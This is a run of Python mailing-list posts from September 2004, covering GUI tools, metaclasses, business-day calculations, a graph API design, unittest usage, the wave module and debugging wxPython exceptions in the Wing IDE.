-- It's too glitzy :-) Yes, it may be a problem for people used to
design apps the old way. It's funny to note that Windows apps are not
much different from old text apps, as far as the structure of the
dialogs and windows is concerned. Everything is a rectangle. Flash
frees you of this kind of limitation. This kind of freedom can be
frightening for old timers (such as me).

-- Philosophically thinking, it's not free so it should not be used.
This a Stalmanish position, but it does have some power in the context
of a decision to use only free tools.

BTW, if the Flash format is already open, and if Shockwave can't just
change it, why do they don't just dedicate it to the public domain as
proof of their good intentions? The fact is that there are a lot of
stuff that they want to keep for themselves -- the power to steer the
development of the Flash standard, and possibly a few patented
processes to generate or render some of its features.


-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From p at ulmcnett.com  Tue Sep 14 16:58:55 2004
From: p at ulmcnett.com (Paul McNett)
Date: Tue, 14 Sep 2004 13:58:55 -0700
Subject: Random Instance generation
In-Reply-To: <494182a9.0409141247.608d365f@posting.google.com>
References: <494182a9.0409141247.608d365f@posting.google.com>
Message-ID: <200409141358.55325.p@ulmcnett.com>

Balaji writes:

> Suppose there is a class A:
> I want to generate say 100 random instance of it...

Define "random instance".


> How can I do that....
> I want the instance name to be like a1, a2, a3...

If you just want to make 100 instances of a class, try something 
like:

class A(object): pass

for count in range(100):
	exec "a%s = A()" % count

That is hardly random, though.

-- 
Paul McNett
Independent Software Consultant
http://www.paulmcnett.com


From barnesc at engr.orst.edu  Mon Sep  6 15:48:07 2004
From: barnesc at engr.orst.edu (barnesc at engr.orst.edu)
Date: Mon,  6 Sep 2004 12:48:07 -0700
Subject: Ramanujan & Python
Message-ID: <1094500087.413cbef74a66f@webmail.oregonstate.edu>


A bit of fun:

Ramanujan, an Indian mathematician, was once visited in the hospital
by G. H. Hardy, a prominant English mathematician.  Hardy remarked
that he had taken taxi number 1729, and Ramanujan quickly replied
that 1729 is remarkable, as it is the smallest integer that can be
represented in two ways by the sum of two cubes: 1729 = 1**3 + 12**3
= 9**3 + 10**3 [1].

Spectacular, no?

The inspired reader checks this with a quick Python program:

>>> L = range(1,21)
>>> sums = [x**3+y**3 for x in L for y in L]
>>> histo = [sums.count(i) for i in range(max(sums)+1)]
>>> histo.index(4)
1729

Explanation:
20**3 is 8000, so our search extends only up to 8000.
sums contains x**3+y**3 values for each x in L for each y in L.
(note that 1**3 + 12**3 and 12**3 and 1**3 are counted twice in sums).
histo counts how many times each value appears in sums.

The point is that Python is great for mathematical experiments.

This particular program is inefficient on the histo= line, so if you
want to try other cases (such as smallest integer that can be
represented in two ways by the sum of two fourths), you'll need to
optimize.

[1]. http://scienceworld.wolfram.com/biography/Ramanujan.html

This document is in the public domain.

 - Connelly


From imbosol at aerojockey.com  Tue Sep 28 15:26:30 2004
From: imbosol at aerojockey.com (Carl Banks)
Date: 28 Sep 2004 12:26:30 -0700
Subject: Metaclass with name overloading.
References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch>
Message-ID: <60dfb6f6.0409281126.48c277d9@posting.google.com>

Jacek Generowicz <jacek.generowicz at cern.ch> wrote in message news:<tyfekkoeyk2.fsf at pcepsft001.cern.ch>...
> I would like to write a metaclass which would allow me to overload
> names in the definition of its instances, like this
> 
> class Foo(object):
> 
>     __metaclass__ = OverloadingClass
> 
>     att = 1
>     att = 3
> 
>     def meth(self):
>         pass
> 
>     def meth(self, arg):
>         return arg
[snip]
> Is something like this at all possible in pure Python? or does in
> require fiddling around in the guts of the parser?


Not exactly what you asked for, and a bit (litotes) ugly, but it does
allow convenient subgroups within a class.  I used a similar trick
once when writing a little parser.


    def alltuple(name,bases,clsdict):
        return tuple(clsdict.values())


    class Foo(object):

        class att:
            __metaclass__ = alltuple
            _1 = 1
            _2 = 3

        class meth:
            __metaclass__ = alltuple
            def _1(self):
                pass
            def _2(self,arg):
                return arg


Making it nice and pretty left as an exercise.


-- 
CARL BANKS


From anna at aleax.it  Mon Sep 20 17:58:41 2004
From: anna at aleax.it (Anna Martelli Ravenscroft)
Date: Mon, 20 Sep 2004 21:58:41 GMT
Subject: Calculating days using Business Days for the Calendar
In-Reply-To: <mailman.3573.1095692648.5135.python-list@python.org>
References: <mailman.3573.1095692648.5135.python-list@python.org>
Message-ID: <loI3d.357181$5D1.16183284@news4.tin.it>

David Stockwell wrote:

> I''m wondering if the Calendar object has an option to only do 
> calculations based on business days (ie M-F).  Additionally does it have 
> a way to get holidays into itself?
> 
> Currently I'm considering converting my calculations over to business 
> days and am wondering if there is anything built-in.  I've tried 
> searching but so far haven't seen such a thing built in.
> 
> I'm thinking I'm just going to have to bite the bullet and create my own 
> approach to
> 1) figure out the day of the week of my starting date  
> (Calendar.weekday() should do the trick)
> 2) determine the number of days up to my finish date (i do that now)
> 3) determine the number of non-business days  (weekends + holidays)
> 4) subtract off the number in #3 from #2

AFAIK - there is no built-in to calculate this. Part of the problem may 
be that the European work week often includes Saturdays.

I created my own - in fact, that was my very first Python program. (That 
was before the new datetime and dateutil modules.) I've long since lost 
that script (left it on my work computer), but there's better ways to do 
it now anyway.

Some notes on rolling your own:
Be careful on determining the number of days in your step (2) above - 
you can easily end up with off-by-one errors.

Also, you'll need to set up your own list (or dict) of holidays - they 
vary by region (and by union). I created a script for that so I could 
add to it, pickled it and imported it at need.

dateutil is great and the documentation is pretty kewl - but has an 
unfortunate tendency toward "from module import *"... Other than that, 
it's a really kewl module - be sure to check out the date parser.

Here's a snippet of code that does the job but would need to be prettied up:

import datetime
from dateutil import rrule

alpha=datetime.date(2004, 01, 01) # change to accept input
omega=datetime.date(2004, 02, 01) # change to accept input

dates=rrule.rruleset() # create an rrule.rruleset instance

dates.rrule(rrule.rrule(rrule.FREQ_DAILY, dtstart=alpha, until=omega))
             # this set is INCLUSIVE of alpha and omega

dates.exrule(rrule.rrule(rrule.FREQ_DAILY,
			byweekday=(rrule.SA, rrule.SU),
			dtstart=alpha))
# here's where we exclude the weekend dates

print len(list(dates)) # there's probably a faster way to handle this

HTH
Anna


From mlh at furu.idi.ntnu.no  Thu Sep  9 20:23:01 2004
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Fri, 10 Sep 2004 00:23:01 +0000 (UTC)
Subject: Standard graph API?
References: <slrncik8tm.4g.mlh@furu.idi.ntnu.no>
	<YssWc.503921$Gx4.282534@bgtnsc04-news.ops.worldnet.att.net>
	<slrnciklv0.e8q.mlh@furu.idi.ntnu.no>
	<eppstein-4A56C8.14042623082004@news.service.uci.edu>
	<vCqZc.4817$w%6.3101@newsread1.news.pas.earthlink.net>
	<slrnck1krp.181.mlh@furu.idi.ntnu.no>
	<Sj50d.11652$w%6.5785@newsread1.news.pas.earthlink.net>
Message-ID: <slrnck1sv5.cd0.mlh@furu.idi.ntnu.no>

In article <Sj50d.11652$w%6.5785 at newsread1.news.pas.earthlink.net>,
Andrew Dalke wrote:
>Magnus Lie Hetland wrote:
>> Hm. How would the algorithms work without a standard API?
>
>There are certain things the different graphs have in
>common.  For example,
>  1. "test if two nodes/edges are the same"
>  2. "test if two nodes/edges are identically colored"
>  3. "list of all nodes adjacent to a node"
>  4. "list of all edges from a node"  (either directed or
>      undirected)
>  5. "get the appropriate weight">

Right. My idea was that we could define a standard API for this
functionality, as in (e.g.) the DB API. Your code generating idea is
an alternative.

>Different graphs have different ways to do this.

Yes.

[snip]
>The ways to get the properties differ but the things
>you do with them do not change.

Indeed.

>I can concieve then some way to generate code
>based on a template, like this
[code generating template example snipped]

Hm. What you're basically is proposing is (as you said, basically ;) a
C++-like approach (as used in Boost)?

Or -- this goes beyond the standard C++ approach, of course, as that
would basically be a way of getting "standard Python functionality" in
a static language.

Your idea is interesting -- but quite a way from what I had
envisioned... Would there be a way to combine the ideas? I.e. define
an (abstract) interface to standard graph functionality and in
addition have this sort of template stuff? It might be a bit far
fetched, though, as it seems your template idea obviates the need for
a standard interface.

I need the interface for when I write my own algorithms -- I don't
have as much need for templated stock algorithms; so it seems our
needs may be somewhat complementary, perhaps?

[snip]
>Obviously it would need some sort of templating language.
>Wonder if anyone's ever make one of those before.  ;)

Hehe.

>> To clarify, by API I here mean a protocol, i.e. a definition of how a
>> graph is supposed to behave -- *not* a standard implementation.
>
>I think we're talking about the same thing -- the sorts
>of things you can do with nodes and edges, and not a
>statement that a node or edge has a given property or method.

Well -- I was rather aiming for a definition of a graph protocol
(similar to e.g. the sequence protocol or the mapping protocol), and
that would entail fixing the methods and attributes involved.

[snip]
>The problem is all the conversion from/to my graph
>form to the standard graph form.  Either the adapters
>have to be live

Sure -- that wouldn't be a problem, would it?

>(so the modification to the standard
>form get propogated back to my graph) or there needs
>to be conversions between the two.  Both sound slow.

Maybe. I guess it depends on how you implement things. For example, if
it's only a matter of renaming methods, that wouldn't entail any
performance loss at all (you could just have another attribute bound
to the same method).

[snip]
>There the idea for me would be
>
>find_flow = make_code(flow_template,
>                       args = "source_nodes, sink_nodes, weight_table",
>                       edges = "node.out_edges",
>                       weight = "weight_table[edge]")

But coding this doesn't seem like much fun.

My hope was that I could write new graph algorithms so they looked
somewhat pretty and readable. Having to write them in some new
template langage doesn't seem very tempting.

(As I said, stock algorithms aren't of that much interest to me.)

>> Wouldn't it be *much* better to use the established (but not standard)
>> mechanism of object adaptation, as championed in PEP 246 and as
>> implemented and extended upon in PyProtocols?
>
>Not really.  Consider the events that could occur in a
>DFS.  There's
>   - on enter
>   - on exit
>   - on backtrack
>and probably a few more that could be used in a general
>purpose DFS.  But I might need only one of them. With
>a PE 246 adapter I can adapt my graph to fit the algorithm,
>but if I don't need all of those events there's no way
>to adapt the algorithm to fit my needs.

I don't see how this has anything to do with the issue at hand,
really.

The person who implemented the DFS could deal with this issue (by
parametrizing it) or something. (*Or* using adaptation, for that
matter.) I'm sure there are many other ways of dealing with this...
IMO this is orthogonal. Whether or not you can tell the DFS how you
access the neighbors of a node isn't directly related to what you want
the DFS to do...

>(Yes, even though I'm using Python I'm still worried
>about efficiency.)

Well -- you could always make a C library for your graph structures,
with an optional interface (without any performance loss) that
conformed to the Hypothetical Graph API(tm), somewhat reminiscent of
how the DB API works...

>> (If only adapt() could become a standard library function... <sigh>
>> ;)
>
>Perhaps someday, when people get more experience with it.
>I've not yet used it.

I agree with you -- one ought to get more experience with it. I have
not used it seriously myself. I think it might have quite a bit of
potential in this sort of situation, though.

>>>There would need to be some standards on how the graph is used, like
>>>"two nodes are the same iff 'node1 is node2'"
>> 
>> Yeah. Or one might want to allow equality to determine this, so that
>> the implementer could decide how to do it (nodes might be dynamically
>> created front-end objects after all).
>
>I found that 'is' testing for my graphs is much better.

The problem is that it is impossible to override.

If I were to use some special hardware as the source of my graph
(which is a realistic example for me) I might have to create node
wrappers on the fly. Unless I use the Singleton pattern (the Borg
pattern wouldn't work) I could easily end up with equal but
non-identical nodes, and no way of overriding this.

>At the very least, it's a lot faster (no method call overhead).

Right.

[snip wiki stuff]
>It said "warning, in use, you might want to wait about 10
>minutes before editing."

Right -- I was making some changes ;)

>I think it's been about 10 minutes now.  :)

Yup. Just go ahead and add stuff.

-- 
Magnus Lie Hetland       The time you enjoy wasting is not wasted time
http://hetland.org                                  -- Bertrand Russel


From fredrik at pythonware.com  Wed Sep 22 03:08:48 2004
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 22 Sep 2004 09:08:48 +0200
Subject: list.pop and print doing funny things
References: <000701c4a00a$576042e0$fd56e640@amd950><mailman.3676.1095793916.5135.python-list@python.org>
	<roy-31D9C9.15310321092004@reader1.panix.com>
Message-ID: <cir8a7$b10$1@sea.gmane.org>

Roy Smith wrote:

>>  does not return a non-None result.
>
> Is that another way of saying, "returns None"?

sure, but it's also a direct reference to the phrases "the result of every
expression that returns a non-None value is displayed." and "Your
"l.pop(l.index(x))" returns a non-None result" that comes just before
it.  do you often read posts from the bottom up, or do you just have
a very short short-term memory? ;-)

</F> 





From nospam at nospam.nospam.edu  Mon Sep 13 01:09:42 2004
From: nospam at nospam.nospam.edu (Gregor)
Date: Mon, 13 Sep 2004 05:09:42 GMT
Subject: pythonwin demos
Message-ID: <qY91d.406681$gE.311666@pd7tw3no>

Does anyone know where I can find the pythonwin demos? The documentation 
says they're in site-packages\pythonwin\pywin\demos, but there is no such 
folder. I searched my HD for the demo file "guidemo.py," also mentioned in 
the docs, and it's not there anywhere.

Thanks,

Greg.


From usenet_spam at janc.invalid  Sun Sep 19 19:32:41 2004
From: usenet_spam at janc.invalid (JanC)
Date: Sun, 19 Sep 2004 23:32:41 GMT
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de>
	<m3isaf1xki.fsf@g2ctech.com>
	<1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com>
	<m3pt4nwa84.fsf@g2ctech.com>
	<1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com>
	<m37jqvvypt.fsf@g2ctech.com>
	<1gk7753.1c973iatj1rtuN%aleaxit@yahoo.com>
	<m3ekl1398l.fsf@g2ctech.com>
	<1gk91v9.1k6244t1tmaymsN%aleaxit@yahoo.com>
Message-ID: <Xns956AFB77A085JanC@213.118.38.197>

Alex Martelli schreef:

> The quarrel 'du jour' against Apple,
> to give another example, is about the fact that iTunes song downloads
> cost 20% more in the UK than Germany or France, and the latter two
> countries won't even let you buy unless you can give a French/German
> address and credit card (in Italy you can't buy from any of these
> stores... unless you're lucky enough to have an address and credit card
> in the appropriate country...).  This is arguably against Europe's
> single-market laws, and since we're talking about downloads over the net
> the "logistics" argument is laid bare for the feeble excuse it is.
> Indeed Apple's response that I've seen is not about trying to argue that
> it costs more to push bits to London than to Paris, but rather that
> iTunes song prices should be compared, not with the prices of the same
> song in different countries, but rather with the prices of other songs
> from competitors in the same country.  In other words, Apple is charging
> all the market will bear, segmenting markets ruthlessly to do so, even
> when they have to break laws in order to scrounge extra profits that
> way.  I think it's quite a myopic attitude, eroding any goodwill from
> people who LIKE their products and turning it into rage and loathing.

This is probably not only Apple's fault.  Most local music distribution 
rights are owned by different, local companies that don't want to lose 
their possible income/power, so online music stores like Apple often have 
to make separate agreements per country...

-- 
JanC

"Be strict when sending and tolerant when receiving."
RFC 1958 - Architectural Principles of the Internet - section 3.9


From claird at lairds.us  Thu Sep 16 08:08:04 2004
From: claird at lairds.us (Cameron Laird)
Date: Thu, 16 Sep 2004 12:08:04 GMT
Subject: socket function that loops AND returns something
References: <ciatjj$olo$1@solaris.cc.vt.edu>
	<tpc2d.16169$QJ3.2672@newssvr21.news.prodigy.com>
Message-ID: <k29o12-46u.ln1@lairds.us>

In article <tpc2d.16169$QJ3.2672 at newssvr21.news.prodigy.com>,
Bryan Olson  <fakeaddress at nowhere.org> wrote:
			.
			.
			.
>I'd classify the ways to do it somewhat differently than the
>other responses:
>
>     -Start multiple lines of execution
>         - using threads
>         - using processes (which, in Python, is less portable)
>
>     -Wait for action on multiple sockets within a single thread
>         - using os.select
>         - using some less-portable asynchronous I/O facility
>
>Those are the low-level choices.  Higher level facilities, such
>as Asyncore and Twisted, are themselves based on one or more of
>those.
>
>Different servers have different needs, but when in doubt use
>threads.  Threading on the popular operating systems has
>improved vastly in the last several years.  Running a thousand
>simultaneous threads is perfectly reasonable. Programmers using
>threads have to be aware of things like race conditions, but
>when threads are handling separate connections, most of their
>operations are independent of other threads.
			.
			.
			.
Are you advising Python programmers to use only thread-based
approaches, and to judge Asyncore and Twisted on that basis?
Do you intend that readers believe that it "is perfectly 
reasonable" to design in terms of a single Python process 
which manages up to "a thousand simultaneous *Python* threads"?


From lbates at swamisoft.com  Wed Sep 22 13:04:05 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Wed, 22 Sep 2004 12:04:05 -0500
Subject: for_some(), for_all()?
References: <opseqmpvg86yt6e7@news.cisco.com>
Message-ID: <ltWdnd9GnOcfLczcRVn-jA@comcast.com>

Use list comprehension and then test for what you want:

for_some

result=[x for x in lst if <insert your test here>]

if result:
    #
    # At least some of the items passed the test
    #
else:
    #
    # None passed
    #

for_all

result=[x for x in lst if <insert your test here>]

if len(result) == len(lst):
    #
    # All items passed the test
    #
else:
    #
    # At least one didn't pass
    #

I think it is easier to read and maintain.

Larry Bates





"aurora" <aurora00 at gmail.com> wrote in message 
news:opseqmpvg86yt6e7 at news.cisco.com...
>I am trying to test a list to see if some or all elements pass a test. For 
>example I can use reduce() to test if any element is 0.
>
>>>> lst = [1,2,0,3]
>>>> test = lambda x: x == 0
>>>> reduce(operator.__or__,[test(x) for x in lst])
> True
>
> However I bet reduce() does not exploit the short circuit logic. Also it 
> is a little clumsy to create another list to pass into reduce. Is there 
> some equivalent of
>
>   for_some(test, lst)
> or
>   for_all(test, lst)?
>
> 




From andrea.valle at unito.it  Fri Sep 24 19:20:25 2004
From: andrea.valle at unito.it (andrea valle)
Date: Sat, 25 Sep 2004 01:20:25 +0200
Subject: wave.readframes() (or conversion?)
Message-ID: <50702DF9-0E80-11D9-871D-0003939C968C@unito.it>

Hi to all,
I'm using wave module with success. I'm writing data to wave file. 
Typically I create a list of values (data) and pass it to 
.writeframes(data) methods.

a = wave.open("/test.wav", "w")
a.writeframes([32000, 0])

This sets the first sample to 32000 and the 2nd to 0

But when I use the .readframes() method I don't know exactly what  
values I extract from the open wave.

 >>> a = wave.open("/test.wav", "r")
 >>> a.readframes(1)
'\x00\x00'
What does it mean? (hexa?)
How do I convert it to an integer? I'd like to have it like 32000 or 0, 
so to make some maths on it.

Thanks a lot

-a-

Andrea Valle
Laboratorio multimediale "G. Quazza"
Facolt? di Scienze della Formazione
Universit? degli Studi di Torino
andrea.valle at unito.it


From jerf at jerf.org  Mon Sep 27 23:41:43 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Tue, 28 Sep 2004 03:41:43 GMT
Subject: finding time when url was modified
References: <mailman.3986.1096334803.5135.python-list@python.org>
	<5r36d.524$gk.491@okepread01>
	<mailman.3988.1096336962.5135.python-list@python.org>
	<yIWdnZvyE_ffUMXcRVn-vg@powergate.ca>
	<mailman.3992.1096340271.5135.python-list@python.org>
Message-ID: <pan.2004.09.29.07.40.04.680258@jerf.org>

On Tue, 28 Sep 2004 12:57:45 +1000, Ajay wrote:
> thanks
> it was mostly out of curiousity. I have an interchange where the servers
> would send a policy and request a resource. the other server would
> evaluate the policy and respond accordingly.

I would recommend going a little more deeply into the HTTP standards, and
then examining what the capabilities of your servers are. I have no
experience with mobile devices.

In particular, take a look at the E-Tags field; if you have support for
it, that will pretty much do exactly what you want with nearly no work on
your part if I am reading your requirements correctly; all you have to do
is catch the HTTP result code and do the right thing with it.

A shocking number of people re-implement large chunks of HTTP in the HTML,
which is painful and often ineffective. HTTP is pretty cool, if you use it
to the full and not just as a glorified file, ignoring the headers.



From aleaxit at yahoo.com  Sun Sep  5 12:41:03 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sun, 5 Sep 2004 18:41:03 +0200
Subject: Question: tools for business apps development
References: <mailman.2847.1094238878.5135.python-list@python.org>
Message-ID: <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com>

Carlos Ribeiro <carribeiro at gmail.com> wrote:

> Hello all.
> 
> I'm in the process of writing a business app in Python. (defining
> business app: data entry, validation, interactive reports, etc). For
> my purposes, it must be a native app (wxWidgets, GTK or Qt-based). A

OK, but, native to WHAT platform...?  Later you mention it must be all
done with free tools... Qt on Windows isn't.  QtDesigner is good, but Qt
only free for (free-software dev't on) Unix/Linux and Mac, not for (any
kind of dev't on) Windows.


Alex


From darren at coolpink.net  Tue Sep 28 22:06:11 2004
From: darren at coolpink.net (darren at coolpink.net)
Date: 29 Sep 2004 02:06:11 -0000
Subject: Middleware'04 early registration extended
Message-ID: <20040929020611.4589.qmail@ws2.coolpink.net>

Sorry, but I am out of the office on Monday 27th September until Monday 11th October 2004.

I will respond to your e-mail when I return

If you need technical support please contact simonh at coolpink.net or mazen at coolpink.net

For any other enquiries please call the office on (0113) 272 3191 

Thanks for your e-mail.




From paul at subsignal.org  Sun Sep 12 18:35:14 2004
From: paul at subsignal.org (paul koelle)
Date: Mon, 13 Sep 2004 00:35:14 +0200
Subject: unittest issues
Message-ID: <2qk198F10v228U1@uni-berlin.de>

Hi,

I try to use the "failUnlessRaises()" method from unittest.TestCase as 
follows:

 >>self.failUnlessRaises(IntegrityError, myObject.new(**stuff))

where IntegrityError is an Exception somewhere deep inside pysqlite. 
Running it spits out:

 >>NameError: global name 'IntegrityError' is not defined.

Do I really need to tell unittest  about each and every possible 
Exception it might catch. Whats going on here?

python 2.2.3 on linux 2.6.7

thanks
  Paul


From hans at zephyrfalcon.org  Thu Sep 23 09:32:11 2004
From: hans at zephyrfalcon.org (Hans Nowak)
Date: Thu, 23 Sep 2004 09:32:11 -0400
Subject: up with PyGUI!
In-Reply-To: <2rfnp6F19gkpkU1@uni-berlin.de>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<414783DD.4070509@zephyrfalcon.org>
	<4lf4d.15151$pA.1180511@news20.bellglobal.com>
	<4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de>
Message-ID: <4152D05B.9020909@zephyrfalcon.org>

anton muhin wrote:
> I beg your pardon for possibly stupid comment---I haven't practice GUI 
> programming for a long time, especially in Python. However I mostly 
> prefer declarative approach for the problems like that. Therefore, 
> wouldn't it be interesting to describe the structure with class and 
> metaclass mechanism, like:
> 
> class MainFrame(FrameDescription):
> 
>   class b1(ButtonDescription):
>     size = (40, 40)
>     text = "b1"
> 
> etc.
> 
> with the best regards,
> anton.

Yes.  But not in Wax. :-)  The way Wax works is pretty much set in stone, and 
although there is room for many improvements and shortcuts (passing layout in 
constructor, auto-packing, etc), I'm not going to rewrite it so it supports the 
above.  It's meant as a friendly layer on top of wxPython; as such, I want it 
to stay rather close to wxPython, so I'm less interested in writing an 
innovative API.

Aside from that, I'm not sure if the construct described above is all that 
great... it makes nested classes significant, and uses class attributes to 
describe an instance (unless b1 is meant as a template for other buttons).  It 
also requires a bunch of magic "under the hood".  I'd rather use less 
surprising constructs.  But that's just a matter of opinion; YMMV.

Cheers,

--
Hans Nowak (hans at zephyrfalcon.org)
http://zephyrfalcon.org/



From michele.simionato at gmail.com  Wed Sep 22 23:23:13 2004
From: michele.simionato at gmail.com (Michele Simionato)
Date: 22 Sep 2004 20:23:13 -0700
Subject: python vs c#
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<EPmdnagKPrUPhtPcRVn-iQ@giganews.com>
	<mailman.3529.1095642828.5135.python-list@python.org>
	<1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com>
	<41513aac$0$285$edfadb0f@dread12.news.tele.dk>
	<1gkih9r.pfgqukvpt1rcN%aleaxit@yahoo.com>
Message-ID: <4edc17eb.0409221923.5c834fc8@posting.google.com>

aleaxit at yahoo.com (Alex Martelli) wrote in message news:<1gkih9r.pfgqukvpt1rcN%aleaxit at yahoo.com>...
> Max M <maxm at mxm.dk> wrote:
> <speaking about Zope>
> > self-educating system would be of a big help. A system where 
> > introspection was well supported.
> 
> I've never used any language with better introspection facilities than
> Python, not even Lisp.

Well Alex, you are talking about Python and you are right. But Max M. is talking
about Zope, and he also is right. There is a serious problem in introspecting
Zope. Everything is a wrapper around something and usual Python introspection
facilities give you no useful information. Zope (I am talking about Zope 2) is 
the most unpythonic framework I have ever seen :-(


            Michele Simionato


From db3l at fitlinxx.com  Tue Sep 28 15:09:20 2004
From: db3l at fitlinxx.com (David Bolen)
Date: 28 Sep 2004 15:09:20 -0400
Subject: "False exceptions?" (was Re: theme of the week: tools
References: <mailman.3802.1095960335.5135.python-list@python.org>
	<QcudnRef363plc7cRVn-vg@powergate.ca>
	<41542230.3070808@bellsouth.net>
	<mailman.3864.1096040439.5135.python-list@python.org>
	<mfydnUd5Idex1srcRVn-pQ@rogers.com>
	<tpudnXILROwO88rcRVn-sw@powergate.ca>
	<mailman.3947.1096250696.5135.python-list@python.org>
	<kdWdndU_KZvAFcrcRVn-gQ@rogers.com> <4157FD67.80404@holdenweb.com>
	<efidneft_NO8p8XcRVn-tQ@rogers.com>
	<mailman.3996.1096354841.5135.python-list@python.org>
	<Ku-dnW4Ddq1O_cTcRVn-tw@rogers.com> <uekkmibrv.fsf@fitlinxx.com>
	<WZydndBk-MS_OMTcRVn-ug@rogers.com>
Message-ID: <u655yi527.fsf@fitlinxx.com>

"Dan Perl" <danperl at rogers.com> writes:

> I'm new to wxPython so I cannot relate yet to what you are saying.  The 
> wxPython extension module may catch the exceptions and suppress them, but 
> doesn't it generate a message for that or something?  I hope that they are 
> not hiding the exception completely (and that they generate something) and 
> then you can still debug the problem with well placed breakpoints.  Am I 
> wrong here or is there something I'm missing?

Yes, the wxPython layer will generally output an exception, but only
if there's a console available to receive it.

Even if you do have a console showing exceptions, not all exceptions
are cleanly reproduceable or predictable.  I may have code that
typically runs just great, but that occasionally generates an
exception.  Breakpoints may not work if the code runs many times
successfully before failing (due to varieties in calling parameters at
runtime).  Perhaps a watchpoint might work but you'd have to know
enough about the failure to establish the watchpoint parameters.

Instead, with Wing, just start it up, let it run (or if you need to,
run it independently of Wing but with the stub loaded) until the
exception occurs.  No hassles or up front work.

> The false positive that I encountered was indeed in 'sre', invoked by 
> pickle.  I think it was an IndexError which should be a normal thing if they 
> are using it to stop at the end of an iteration.  So I'm not convinced this 
> would constitute "minimal" false positives.

Did you get any others?  I was talking "minimal" in terms of volume,
not necessarily significance (which may be more subjective).  I didn't
have much of an issue choosing to ignore the sre case (after which it
never showed up again for my project).

> Maybe if I would have been convinced first with a personal experience about 
> the advantages of Wing's exception detection at the point of raise, then I 
> would have accepted the false positives more easily.  But seeing the false 
> exception first (actually right away and with positive spins on it) and then 
> finding out the right technical explanation later, it made it much harder to 
> swallow.

That could well be.  When I was testing Wing originally being able to
effectively work with legacy wxPython apps was a high priority for me,
both in terms of the auto-completion and in terms of exception
handling (the latter of which I had been disappointed to find not
working in other IDEs I had tried to that point).  So I was probably
predisposed to not worry too much about the side-effects of
functionality that at least got me the exception processing I wanted.

(...)
> I would need to first see an example of generating an exception without 
> knowing it and that exception still being relevant although it is being 
> handled.

I'd split that into two parts - (a) generating the exception without
knowing it, and (b) it being relevant even if handled.

For (a), I can't seem to come up with a good concise example, so maybe
I'll just agree that you may know about, but not be able to act on it
in a useful fashion.  (The cases I was thinking of were GUI apps
without a console, or apps generating output where a traceback might
be missed, but I can come up with reasonable solutions in those cases
if you knew you were looking for an exception, so I'm willing to bet
you can too.  The other case was with a locally developed extension, but
that's susceptible to the argument of just fixing the local extension :-))

Note however, that knowing about it in many cases may only be through
a stderr traceback, so to know it other than manually inspecting it at
runtime would require trapping stderr in general and logging that
somewhere, and then having something to recognize tracebacks in that
log.

(b) is certainly possible though, although at the risk of overuse I'll
fall back to wxPython again.  In wxPython any exception that occurs in
an event handler will be handled by the wxPython extension, and is
thus invisible to top level code.  So if you have an exception in an
event handler, it interrupts the exception handler, which presumably
no longer does what it is supposed to, so that's relevant.  The
exception will not, however, stop the application, nor bubble up to
any top level application exception handler.  The only place you'd see
an indication of it would be in the traceback to stderr - your
application has no opportunity to handle it otherwise (unless you have
exception handlers in each individual event handler).

Now in normal operation that's actually a very attractive part of
wxPython.  By and large you can create problems, and the application
keeps running.  Perhaps one element of the GUI might not react
properly or some button won't work, but the application survives.  But
when trying to troubleshoot that problem, it's often most convenient
to interact with the application as a user until the problem occurs,
letting the debugger simply catch things at the point when it happens.

>           I can imagine something not working right and an exception being 
> one more indication for the problem, but then there are still other good 
> ways to debug the problem.  

I'd certainly agree with that.  As with everything, the debugger is
just one element in the toolkit.  But even if you have an exception
being generated, there is real value to being able to stop and
dynamically inspect the state of the system at the point of exception,
particularly when an exception is sporadic or difficult to reproduce.

Having other methods to also debug it doesn't negate the value of having
a debugger that can run an application until such an event takes place and
then give you direct access to the state of the system at that point.

>                             And if things are working, I don't see how 
> hidden exceptions may be of interest.  I have very little experience with 
> GUIs but I realize that unit testing is much more difficult for GUIs.  Does 
> that make it necessary to "hunt for exceptions" like that instead of testing 
> for results correctness?  It may also be just my short experience with 
> Python and especially my total lack of experience with complex systems in 
> Python (e.g, Zope), so I'm ready to listen to an argument on that point.

I definitely have multiple categories of code.  New projects that can
make use of TDD approaches do so and have far less of a requirement
(IMO so far) of debuggers in general.  They're generally also more
amenable to "print" debugging since issues arise that tend to be more
focused, and occurring in well identified areas of the code under well
identified conditions.

Older projects not written in a TDD fashion, or those for which unit
testing is difficult (in my environment typically GUI, threading, and
network in some mixture) often run into scenarios where you need a
lengthy runtime or real world usage to tickle sporadic or
non-deterministic bugs.  In those cases, a solid debugger with the
ability to stop at any moment when a problem arises can be worth its
weight in gold - even if such occurrances may be few and far between.
I believe Alex Martelli recently posted about such a case in a web
application, for example, where a debugger ended up very useful in
addition to the other techniques being applied.

-- David


From aleaxit at yahoo.com  Thu Sep  9 09:42:07 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 9 Sep 2004 15:42:07 +0200
Subject: Set and {} comparison confusion
References: <mailman.3087.1094728115.5135.python-list@python.org>
Message-ID: <1gjuqd2.tjf7v31d0ulpnN%aleaxit@yahoo.com>

Roman Yakovenko <roman.yakovenko at actimize.com> wrote:
   ...
> I don't agree with you. I can compare properties of some object.
> For example I can compare cows:
>  one python is longer then other ( length )
>  one python is heavier then other ( weight )
>  one python is older then other ( age )
> 
> But I can't define meaningful operator "<" on pythons.
> I can compare pythons only property by property. I don't thing
> that next code is meaningful
> 
> def __lt__( self, other_python ):
>       return self.length < other_python.length \
>              and self.weight < other_python.weight \
>              and self.age < other_python.age 
> 
